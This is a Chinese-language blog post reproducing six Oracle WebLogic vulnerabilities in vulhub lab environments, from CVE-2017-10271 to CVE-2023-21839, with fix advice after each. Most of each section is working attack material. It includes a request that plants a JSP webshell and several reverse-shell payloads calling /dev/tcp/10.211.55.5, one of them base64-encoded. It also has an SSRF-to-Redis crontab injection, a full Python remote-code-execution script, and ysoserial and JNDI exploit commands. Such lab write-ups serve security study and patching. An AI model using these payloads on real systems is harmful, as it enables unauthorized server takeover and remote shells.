Weblogic漏洞复现(全漏洞版本)
0x01:CVE-2017-10271 XMLDecoder 反序列化漏洞
1.漏洞描述&搭建
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
这里使用vulhub进行搭建,切换到weblogic/cve-2017-10271下:
docker-compose up -d
出现该页面说明搭建成功
2.漏洞复现
访问:
http://192.168.0.152:7001/wls-wsat/CoordinatorPortType11
受影响版本:
OracleWebLogic Server:10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2
出现该页面,说明存在漏洞;
使用bp抓包,使用以下webshell poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% if("poc".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问:http://192.168.0.152:7001/bea_wls_internal/test.jsp?pwd=poc&i=pwd
反弹Shell poc:
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 192.168.0.152:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml
Content-Length: 636
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.211.55.5/6111 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
成功反弹shell:
3.修复建议
- 临时解决方案根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat重启Weblogic域控制器服务:DOMAIN_NAME/bin/stopWeblogic.sh #停止服务DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
- 官方补丁修复前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839
参考链接:
- https://www.exploit-db.com/exploits/43458/
- https://paper.seebug.org/487/
- [https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic WLS-WebServices组件反序列化漏洞分析.md](https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic WLS-WebServices组件反序列化漏洞分析.md)
- http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
0x02: Weblogic SSRF漏洞
1.漏洞描述&搭建:
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
搭建同0x01
2.漏洞复现:
受影响版本:weblogic 10.0.2 – 10.3.6版本
访问:http://192.168.0.152:7001/uddiexplorer/,无需登录即可访问uddiexplorer页面
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们在burpsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80
:(发送get请求也是一样)
通过上图可以得知,当我们在可控参数传入的ip:port是存在的会返回404页面或者两个soap的结果,但是没存在会返回not connet over(即1个soap结果),可以做内网信息的探测
反弹shell:
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
发送三条redis命令,将反弹shell脚本写入/etc/crontab,将命令进行url编码,并且放在可控参数后边
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.211.55.5/1919 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab save
aaa
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.48.2:6379/test%0d%0a%0d%0aset%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2f10.211.55.5%2f9999%200%3e%261'%5cn%5cn%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fetc%2f%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0d%0a%0d%0aaaa HTTP/1.1
Host: 192.168.0.152:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=yTmdkWLXRgxp016PvGr5qbghWJZ1Qdx8skChznyWgpbjr6G1vnTn!-1490634826
Connection: close
成功反弹shell(这里要等会才会反弹成功)
Tips:
- etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root是centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root是debian系统下root用户的cron文件
3.修复建议
- 方法一:
删除uddiexplorer文件夹
限制uddiexplorer应用只能内网访问
- 方法二:
将SearchPublicRegistries.jsp直接删除
- 方法三:
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:
1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;
2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;
3)用winrar等工具打开uddiexplorer.war;
4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;
5)保存后上传回服务端替换原先的uddiexplorer.war;
6)对于多台主机组成的集群,针对每台主机都要做这样的操作;
7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。
0x03:CVE-2018-2894(webloic任意文件上传漏洞)
1.漏洞描述&搭建
Oracle 18年7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限
搭建:同上
2.漏洞复现
受影响版本:Weblogic10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
在当前docker镜像目录下啊执行:docker-compose logs | grep password
可以显示登录用户名和密码并且登录后台:
登录后台页面,点击base_domain
的配置,在“高级”中开启“启用 Web 服务测试页”选项:
http://192.168.0.152:7001/ws_utc/config.do
,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。
此处将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
然后点击安全:上传jsp文件后,查看返回的数据包,其中有时间戳:然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,即可执行webshell:
3.修复建议
1.设置Config.do、begin.do页面登录授权后访问;
2.IPS等防御产品可以加入相应的特征;
3.升级到官方最新版本
0x04:CVE-2018-2628(Weblogic WLS Core Components 反序列化命令执行)TODO
1.漏洞描述&搭建
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令
**搭建:**同上
2.漏洞复现:
受影响版本:Weblogic 10.3.6.0 、Weblogic 12.1.3.0 、Weblogic 12.2.1.2 、Weblogic 12.2.1.3
可以先使用nmpa对目标网站进行扫描查询是否开启T3服务
nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 192.168.0.152
可以看到存在T3协议
首先下载ysoserial,并启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 "touch /tmp/success_poc"
然后,使用exploit.py脚本(注意在python2环境下),向目标Weblogic(http://your-ip:7001
)发送数据包:
python2 44553.py 10.211.55.2 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.211.55.3 7777 JRMPClient
并且可以看到创建成功:
反弹Shell:在上边的基础上更改ldap即可成功反弹shell:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjExLjU1LjUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
3.修复建议:
- 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
- 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
0x05:CVE-2020-14883(Weblogic 管理控制台未授权远程命令执行漏洞)
1.漏洞描述&环境搭建
在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
搭建:同上
2.漏洞复现
受影响版本:Weblogic10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
访问登录页面:http://192.168.0.152:7001/console/login/LoginForm.jsp
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码。
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://your-ip:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/awesome_poc');](http://your-ip:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/success_poc');)")
进入容器,可以发现touch /tmp/success_poc
已成功执行:
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession
类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如用python启一个服务,http://example.com/rce.xml
:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans)"
xmlns:xsi="[http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance)"
xsi:schemaLocation="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans) [http://www.springframework.org/schema/beans/spring-beans.xsd](http://www.springframework.org/schema/beans/spring-beans.xsd)">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch success_poc_xml]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://192.168.0.152:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.0.152:4444//rce.xml%22)
进入容器,可以发现touch /tmp/success_poc_xml
已成功执行:
反弹shell:
使用以下poc:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: zhzyker
# from: https://github.com/zhzyker/vulmap
# from: https://github.com/zhzyker/exphub
import http.client
import requests
import sys
import argparse
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='
'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
'(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
'("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
'.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
'{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
'= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
'("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')
def cve_2020_14882(url, cmd):
payload = payload_cve_2020_14882_v12
path = "/console/css/%252e%252e%252fconsole.portal"
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'
'application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'cmd': cmd
}
try:
request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)
print(request.text)
except Exception as error:
print("[-] Vuln Check Failed... ...")
print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',
usage='use "python %(prog)s --help" for more information',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-u", "--url",
dest="url",
help="target url (http://127.0.0.1:7001)"
)
parser.add_argument("-c", "--cmd",
dest="cmd",
help="command"
)
args = parser.parse_args()
if not args.url or not args.cmd:
sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami')
cve_2020_14882(args.url, args.cmd)
运行以下命令并且攻击机开启nc9999端口监听:
python cve-2020-14882.py -u http://192.168.0.152:7001 -c "bash -i >& /dev/tcp/10.211.55.5/9999 0>&1"
成功上线:
3.修复建议:
目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁
0x06:CVE-2023-21839(Weblogic未授权远程代码执行)
1.漏洞描述&搭建
在 Oracle 2023年1月安全公告日 修复了这个漏洞。
CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞
搭建:同上
2.漏洞复现
受影响版本:
Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0
Weblogic CVE-2023-21839 RCE Exploit:https://github.com/4ra1n/CVE-2023-21839
需要使用 JDK 8u191 以下启动 Weblogic 并自行搭建 JNDI Server,此处使用 :
- JNDIExploit:https://github.com/WhiteHSBG/JNDIExploit
- java version:1.8.0_361
如果发现 panic 或有其他报错,说明目标不存在漏洞(或关闭了 IIOP 功能),我们可以在我们的环境中查看jdk版本:
先使用dnslog测试漏洞:
说明存在
脚本地址:https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839
反弹shell:
启动一个ldap服务:
启动一个nc监听服务:
然后执行exp:
java -jar Weblogic-CVE-2023-21839.jar 10.211.55.2:7001 ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.5/9999
最后成功反弹shell:
这里要注意⚠️:反弹shell windows是不支持的
3.修复建议
1、目前Oracle已经修复该漏洞并发布补丁,受影响的用户可参考官方通告及时下载并更新补丁,下载地址:https://support.oracle.com/rs?type=doc&id=2917213.2。
2、通过控制T3协议的访问来阻断利用T3协议的漏洞攻击。
3、通过关闭IIOP协议来阻断利用IIOP协议的漏洞攻击
本文作者:Arrest
本文链接:https://www.cnblogs.com/arrest/articles/17506650.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步